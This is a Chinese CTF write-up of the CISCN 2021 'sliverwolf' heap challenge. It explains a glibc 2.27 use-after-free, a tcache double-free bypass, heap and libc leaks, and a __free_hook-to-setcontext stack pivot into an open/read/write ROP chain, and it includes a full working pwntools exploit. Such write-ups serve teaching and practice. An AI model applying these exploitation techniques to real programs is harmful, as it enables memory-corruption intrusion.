csicn2021 sliverwolf 详细思路和exp

这题的环境是glibc 2.27,加了double free检查的那个版本,题目主要靠orw读flag,刚好也学习一下2.27及以下的堆orw写法
文件地址

先来分析一下程序

保护是全开的,所以我就不放了

主函数

主函数部分
主函数部分,很正常的堆题,接下来从初始化函数开始,一个一个分析一下

初始化

初始化函数
这是初始化函数,可以看到,是开了sandbox的,这就意味着很大概率是不能拿shell的,用工具查看一下
在这里插入图片描述
可以看到,很标准的orw,如果是在栈上,劫持程序是很简单的,但是堆上会很不一样

add

add函数
我这边改了一下变量名,简单来说,就是创建一个小于等于0x78大小的堆块,并把size和堆块地址放在两个全局变量里面,但是这里有一个问题,就是上图我标红的地方,如果想成功创建堆块,就意味着第一次输入的size只能是0,换句话说,我们只能操作刚申请的这个堆块,所以这里连续不断的申请释放是走不通的,因为这两个全局变量,不是往常的数组,再次申请之后,新的堆块信息就会把上一个堆块完全覆盖

edit

edit
编辑函数,和add一样,第一次的输入必须是0,才可以编辑,然后写入的这个部分,可以理解为,从堆块起始位置(也就是数据区,不包含前面的size和pre_size),写入size个字节,也就是我们add时申请的大小,没有什么漏洞

show

show函数
show函数,这个没什么好说的,把当前堆块里面的东西打印出来

free(漏洞点)

delete
明显的uaf漏洞,这个时候就要考虑double free了,这个版本是有检查的,简单来说,当你free掉堆块时,它会在起始数据加8个字节的地方,生成一个key,key的值就是当前堆块的地址,下次free的时候,会检查这个key,如果和当前堆地址相同,就会报错退出,所以绕过方式就是把这个key给改了,随便改成什么别的值

开始写题目

首先,由于sandbox的原因,会有一大堆零散的堆块放在最开始,可以看一下

这个时候,堆里面是很乱的,那做题目,第一步肯定是想怎么去泄露地址,正常来说,我们会想到unsorted bins,里面fd bk指针,都会指向main arena加固定偏移的地方,但是我们现在最大只能申请0x78大小的堆块,没有办法去泄露libc,所以换个思路,比方说,我们可以先泄露堆地址,这里放一个基础知识,在2.27,申请堆块前会申请一个0x250大小的堆块,里面会存放tcachebins里面各个大小的堆块的数量,每个数量占一个字节,因为tcachebins是单链表,所以这个堆块后面的地方会存放指针,这个指针指的是,下一个相同大小的堆块地址,也就是再申请这个大小的堆块,glibc先看tcachebins里有没有符合大小的堆块,如果有,就把这个堆块返回给你,这就意味着,如果我们可以修改这个指针,可以达到任意地址写的效果(因为我们可以申请到任意位置),话不多说,先看看heap_base怎么泄露

heap_base(在正常申请堆块之前的tcachebins结构体地址)

再回头看看上面的初始堆块情况,tcachebins里面0x78大小的堆块已经填满了,记得我上面说的保护吗,我们在free堆块的时候,他会把自己的地址写进数据地址加8的地方,利用这一点,我们就可以成功泄露出heap_base,先把0x78大小的堆块都申请回来吧

for i in range(7):
  add(0x78)
  edit(b'aa')##因为每一个堆块idx都是0,所以我这里的函数,都省略了idx

()在这里插入图片描述
可以看到,已经没有0x78(也就是0x80)大小的堆块的tcachebins里面了
再编辑一下,最后申请的这个堆块,填上0x10字节的垃圾数据,free之后,在偏移位8的位置就有了自己的地址,这个时候再free一下(这本身和泄露地址无关,只是为了double free,方便后面的利用,也就是泄露地址只要free一次就行)

for i in range(2):
  edit(b'a'*0x10)
  free()

show()
io.recvuntil(b'Content: ')
heap_base=u64(io.recv(6).ljust(8,b'\x00'))&0xffffffffff000   #把末三位直接置零,这样就不用计算到初始堆块的地址了,因为初始堆块末三位肯定都是0

在这里插入图片描述

libc_base

那既然泄露出heap基地址了,初始的堆块是不是0x250,刚好位于unsortedbins,那我们控制这个堆块,把它free掉,是不是就能泄露出libc了,怎么控制呢,上面是不是已经有double free了,利用double free就可以控制到这个堆块了

edit(p64(heap_base+0x10))#修改fd指针
add(0x78)
add(0x78) #这次就申请到初始的堆块了
edit(b'\x00'*0x23+b'\x07')#编辑初始的堆块,初始堆块记录tcachebins大小从0x20开始,每种堆块数量占1个字节,到0x24的位置,就是0x250大小堆块的数量了(可以自己数一下),把它改成7,这样程序就会误以为这段链表已经满了,释放这个堆块的时候就会直接放到unsortedbins里面,就可以泄露出libc了
free()

在这里插入图片描述
很完美,达到了效果,这个时候泄露基地址有两种方法

libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x3ebca0
success('libc_base -> {}'.format(hex(libc_base)))

因为我本地远程环境一样,所以可以算偏移,再去减,当然如果找不到对应ld,没办法换环境的话
在这里插入图片描述
因为我libc的原因,上面没有main_arena加固定偏移(也就是类似main_arena+88),所以我们可以这么操作,先查看malloc_hook地址在这里插入图片描述
也就是这个,地址加0x10,就是main_arena的地址,所以我们可以两次写,第一次脚本写接收到的地址-0x10-libc.sym['
malloc_hook'],看末三位就可以算出固定偏移(这个偏移不会大,libc基地址末三位又一定是0),第二次的时候,就可以写泄露出的地址-0x10-main_arena偏移-libc.sym['__malloc_hook'],就可以成功泄露libc了,看看效果
在这里插入图片描述
成功泄露

orw布局

拿到堆地址和libc地址,如果是拿shell的话,直接劫持malloc_hook或者free_hook就可以了,但是现在,还任重道远
在堆上的orw,就需要利用到一个新的函数setcontext,而这个函数又以2.27,2.29为分界,这里暂时不多介绍,只看2.27及以下,也就是这道题目的方法
在这里插入图片描述
这个是setcontext+53的位置,你会发现,他会利用rdi,给各个寄存器赋值,别的都不用管,看第一句,赋值给rsp,这个是最重要的,因为rsp是栈顶指针,也就是rsp往下,都会被认为是栈,熟悉吗,使用不了shellcode,我们是不是会利用rop的形式去orw,既然可以伪造栈,那把栈布置好,从某种意义上说,我们只要可以返回到这里,程序会认为这里是栈,就可以执行我们的rop链了,怎么返回呢,这就利用到hook函数了
先不说这么多了,我们把栈布置好再说

payload=b'\x02'*0x40+p64(libc.sym['__free_hook']+libc_base)+p64(0) #free_hook
payload+=p64(heap_base+0x1000)         #flag_addr   heap:0x40
payload+=p64(heap_base+0x2000)         #stack       heap:0x50
payload+=p64(heap_base+0x20a0)         #stack2       heap:0x60
payload+=p64(heap_base+0x3000)         #orw1        heap:0x70
payload+=p64(heap_base+0x3000+0x60)    #orw2        heap:0x80  continue orw1
edit(payload)

pop_rdi=libc_base+0x2164f
pop_rdx=libc_base+0x1b96
pop_rax=libc_base+0x1b500
pop_rsi=libc_base+0x23a6a
ret=libc_base+0x8aa
open=libc.sym['open']+libc_base
read=libc.sym['read']+libc_base
write=libc.sym['write']+libc_base    
syscall=read+15
flag=heap_base+0x1000
setcontext=libc.sym['setcontext']+libc_base+53  #prepare

orw=p64(pop_rdi)+p64(flag)
orw+=p64(pop_rsi)+p64(0)
orw+=p64(pop_rax)+p64(2)
orw+=p64(syscall)      #open(0,flag) (open will delete environment)

orw+=p64(pop_rdi)+p64(3)
orw+=p64(pop_rsi)+p64(heap_base+0x3000)
orw+=p64(pop_rdx)+p64(0x30)
orw+=p64(read)     #read(3,heap+0x3000,0x30) 

orw+=p64(pop_rdi)+p64(1)
orw+=p64(write)    #write(1,heap+0x3000,0x30)

一下是不是会有一点懵,别急,我们一行一行看

payload=b'\x02'*0x40+p64(libc.sym['__free_hook']+libc_base)+p64(0) #free_hook 0x30大小用不上,随便填什么都行
payload+=p64(heap_base+0x1000)         #flag_addr   heap:0x40
payload+=p64(heap_base+0x2000)         #stack       heap:0x50
payload+=p64(heap_base+0x20a0)         #stack2       heap:0x60
payload+=p64(heap_base+0x3000)         #orw1        heap:0x70
payload+=p64(heap_base+0x3000+0x60)    #orw2        heap:0x80  continue orw1
edit(payload)

先看这一段吧,我们这个时候,是不是还是在有着tcachebins结构体的这个堆上,那我们改一改,把各种大小的堆块数量都改成2(这个不重要,只要能申请到相应大小的堆块就行),再把记录0x20大小堆块的指针改成free_hook(这里画重点,为什么不改malloc_hook?因为free_hook执行时,rdi里面的值,刚好会是你free的那个堆块的地址,有什么用呢?别急,后面会说),这样下次申请0x20大小的堆块的时候,就可以申请到free_hook了
再看后面这几行,后面的注释就是它代表的相应大小的堆块,下次申请这些大小的堆块就可以申请到我写进去的地址了,后面加1000,2000这种,只是找个没用的地方放进去,至于这些有什么用,后面我再慢慢说

pop_rdi=libc_base+0x2164f
pop_rdx=libc_base+0x1b96
pop_rax=libc_base+0x1b500
pop_rsi=libc_base+0x23a6a
ret=libc_base+0x8aa
open=libc.sym['open']+libc_base
read=libc.sym['read']+libc_base
write=libc.sym['write']+libc_base    
syscall=read+15
flag=heap_base+0x1000
setcontext=libc.sym['setcontext']+libc_base+53  #prepare

orw=p64(pop_rdi)+p64(flag)
orw+=p64(pop_rsi)+p64(0)
orw+=p64(pop_rax)+p64(2)
orw+=p64(syscall)      #open(0,flag) (open will delete environment)

orw+=p64(pop_rdi)+p64(3)
orw+=p64(pop_rsi)+p64(heap_base+0x3000)
orw+=p64(pop_rdx)+p64(0x30)
orw+=p64(read)     #read(3,heap+0x3000,0x30) 

orw+=p64(pop_rdi)+p64(1)
orw+=p64(write)    #write(1,heap+0x3000,0x30)

这一段应该很好理解,注意一点就好,open函数不可以直接调用,要用syscall,这是因为在2.27里,open函数开始的位置会影响栈布局,具体看libc里面open函数的前几行汇编就可以了,这里就不做展示,剩下的都是正常rop链的orw,这里也不多说,毕竟学到这里的师傅们,orw应该都会比较熟

执行orw

布局好了,那怎么执行呢,直接说可能大家很难理解,我直接把代码放进来,一步一步解释

add(0x18)      #this is free_hook
edit(p64(setcontext))   #change free_hook to setcontext
add(0x38)

edit(b'/flag\x00\x00')    #heap_base+0x1000我的flag在根目录,要是想读别的地方,把flag改成路径

add(0x68)
edit(orw[:0x60])     #orw1
add(0x78)
edit(orw[0x60:])     #orw2
add(0x58)
edit(p64(heap_base+0x3000)+p64(ret))
add(0x48)
free() 

先看第一行吧,上面是不是说了,再次申请0x20大小的堆块就会申请到free_hook,这个就是,先申请0x18,也就是0x20,申请到free_hook,把free_hook改为setcontext+53的地址,下次free的时候,程序执行流就会跳到setcontext+53的位置
再申请0x38(也就是0x40),看上面的布局,是不是就会申请到heap_base+0x1000的位置,这个位置放我们的flag,也就是你要打开的文件名
再申请0x68(0x70)和0x78(0x80)大小的堆块,放我们的orw链,因为一段放不完,所以是连续的两段
都放好之后,再申请0x58(0x60)大小的堆块,里面放入heap_base+0x3000和ret指令
可能你到现在也不明白,没关系。最后free的一刹那,程序开始被劫持,我会告诉你程序会到哪里
首先,free的时候,程序被劫持到setcontext+53,这个时候,rdi的地址是什么呢,上面说到,free_hook会把自己free的这个堆块的地址,给rdi,那free的这个堆块是哪个呢,你看,在free前是不是0x48大小的堆块,上面伪造过了,这个时候申请到的就是heap_base+0x2000,也就是说,这个时候rdi会是heap_base+0x2000,然后呢
setcontext会把rdi+0xa0地址里面的值给rsp,那rdi+0xa0是哪里,是不是就是0x60大小的堆块啊,把这个堆块里面的东西,而不是这个地址,给我们的rsp,0x58大小的堆块里面,是不是放的heap_base+0x3000的位置呢,也就是说,把heap_base+0x3000,给了我们的rsp(看汇编,加[]意味着取这个地址的值)

payload+=p64(heap_base+0x1000)         #flag_addr   heap:0x40
payload+=p64(heap_base+0x2000)         #stack       heap:0x50
payload+=p64(heap_base+0x20a0)         #stack2       heap:0x60
payload+=p64(heap_base+0x3000)         #orw1        heap:0x70
payload+=p64(heap_base+0x3000+0x60)    #orw2        heap:0x80  continue orw1
edit(payload)

程序在执行setcontext,就会伪造stack(ret是因为setcontext里面有一句push,要恢复,所以加了ret)执行完这个函数,程序会回到栈里面,也就是回到rsp指向的位置,也就是我们的orw链,这个时候会执行orw,最后可以成功读取flag

完整的脚本

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io=process('./pwn')
libc=ELF('libc-2.27.so')
def dbg():
  gdb.attach(io)
  pause()
def choice(choice):
  io.recvuntil("choice: ")
  io.sendline(str(choice))

def add(size):
  choice(1)
  io.recvuntil("Index: ")
  io.sendline(str(0))
  io.recvuntil("Size: ")
  io.sendline(str(size))

def edit(content):
  choice(2)
  io.recvuntil("Index: ")
  io.sendline(str(0))
  io.recvuntil("Content: ")
  io.sendline(content)

def show():
  choice(3)
  io.recvuntil("Index: ")
  io.sendline(str(0))

def free():
  choice(4)
  io.recvuntil("Index: ")
  io.sendline(str(0))

for i in range(7):
  add(0x78)
  edit(b'aa')
for i in range(2):
  edit(b'a'*0x10)
  free()

show()
io.recvuntil(b'Content: ')
heap_base=u64(io.recv(6).ljust(8,b'\x00'))&0xffffffffff000
success('heap_base -> {}'.format(hex(heap_base)))
edit(p64(heap_base+0x10))
add(0x78)
add(0x78)    #finish double free ;success malloc base heap

edit(b'\x00'*0x23+b'\x07')    #change 0x250 tcachebins to 7
free()   #free base_heap
show()
io.recvuntil(b'Content: ')
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x3ebca0
success('libc_base -> {}'.format(hex(libc_base)))

payload=b'\x02'*0x40+p64(libc.sym['__free_hook']+libc_base)+p64(0) #free_hook
payload+=p64(heap_base+0x1000)         #flag_addr   heap:0x40
payload+=p64(heap_base+0x2000)         #stack       heap:0x50
payload+=p64(heap_base+0x20a0)         #stack2       heap:0x60
payload+=p64(heap_base+0x3000)         #orw1        heap:0x70
payload+=p64(heap_base+0x3000+0x60)    #orw2        heap:0x80  continue orw1
edit(payload)

pop_rdi=libc_base+0x2164f
pop_rdx=libc_base+0x1b96
pop_rax=libc_base+0x1b500
pop_rsi=libc_base+0x23a6a
ret=libc_base+0x8aa
open=libc.sym['open']+libc_base
read=libc.sym['read']+libc_base
write=libc.sym['write']+libc_base    
syscall=read+15
flag=heap_base+0x1000
setcontext=libc.sym['setcontext']+libc_base+53  #prepare

orw=p64(pop_rdi)+p64(flag)
orw+=p64(pop_rsi)+p64(0)
orw+=p64(pop_rax)+p64(2)
orw+=p64(syscall)      #open(0,flag) (open will delete environment)

orw+=p64(pop_rdi)+p64(3)
orw+=p64(pop_rsi)+p64(heap_base+0x3000)
orw+=p64(pop_rdx)+p64(0x30)
orw+=p64(read)     #read(3,heap+0x3000,0x30) 

orw+=p64(pop_rdi)+p64(1)
orw+=p64(write)    #write(1,heap+0x3000,0x30)

add(0x18)      #this is free_hook
edit(p64(setcontext))   #change free_hook to setcontext

add(0x38)
edit(b'/flag\x00\x00')    #heap_base+0x1000

add(0x68)
edit(orw[:0x60])     #orw1
add(0x78)
edit(orw[0x60:])     #orw2

add(0x58)
edit(p64(heap_base+0x3000)+p64(ret))
add(0x48)
free()   #触发setcontent 此时rdi为heap_base+0x2000,执行完setcontext,中间push了rcx,需要把栈恢复过来,所以加上ret,再会调用stack2,把stack2地址放进了rsp,也就是栈顶,从栈顶开始执行
#dbg()
io.interactive()

最后我们运行一下程序
在这里插入图片描述

可以看到我们拿到了在根目录的flag(把flag字符串改成路径,就可以随便读了)